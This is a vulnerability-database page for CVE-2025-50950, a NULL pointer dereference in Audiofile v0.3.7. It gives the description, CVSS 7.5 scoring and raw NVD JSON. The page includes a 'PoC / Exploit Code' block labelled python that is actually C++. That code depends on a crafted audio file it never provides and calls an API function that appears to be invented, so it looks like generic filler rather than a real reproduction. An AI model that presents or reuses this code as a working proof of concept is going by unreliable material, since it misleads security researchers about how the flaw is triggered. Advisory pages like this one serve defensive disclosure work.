Security Vulnerability Report
中文
CVE-2025-50950 CVSS 7.5 HIGH

CVE-2025-50950

Published: 2025-10-23 16:16:31
Last Modified: 2025-10-28 16:22:53

Description

Audiofile v0.3.7 was discovered to contain a NULL pointer dereference via the ModuleState::setup function.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:audiofile:audiofile:0.3.7:*:*:*:*:*:*:* - VULNERABLE
Audiofile v0.3.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-50950 PoC - NULL Pointer Dereference in Audiofile ModuleState::setup // Description: This PoC triggers NULL pointer dereference in Audiofile v0.3.7 // Target: ModuleState::setup function #include <audiofile.h> #include <iostream> int main() { // Open a crafted audio file that triggers NULL pointer in ModuleState::setup // The PoC file should be a valid audio file format (like WAV/AIFF) // with malformed metadata that causes ModuleState initialization to fail const char* poc_file = "CVE-2025-50950_poc.wav"; AFfilehandle file = afOpenFile(poc_file, "r", NULL); if (file == AF_NULL_FILEHANDLE) { std::cerr << "Failed to open file" << std::endl; return 1; } // This triggers the vulnerable code path afSetModuleState(file, AF_DEFAULT_TRACK, NULL); // If we reach here without crash, the vulnerability may be patched afCloseFile(file); return 0; } /* Expected behavior: - Vulnerable version: Program crashes with SIGSEGV (NULL pointer dereference) - Patched version: Handles NULL gracefully or rejects invalid input */

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-50950", "sourceIdentifier": "[email protected]", "published": "2025-10-23T16:16:30.500", "lastModified": "2025-10-28T16:22:53.463", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Audiofile v0.3.7 was discovered to contain a NULL pointer dereference via the ModuleState::setup function."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:audiofile:audiofile:0.3.7:*:*:*:*:*:*:*", "matchCriteriaId": "53FD2035-64CA-46C3-A2B1-2DAB615868C0"}]}]}], "references": [{"url": "https://github.com/mpruett/audiofile/issues/66", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}]}}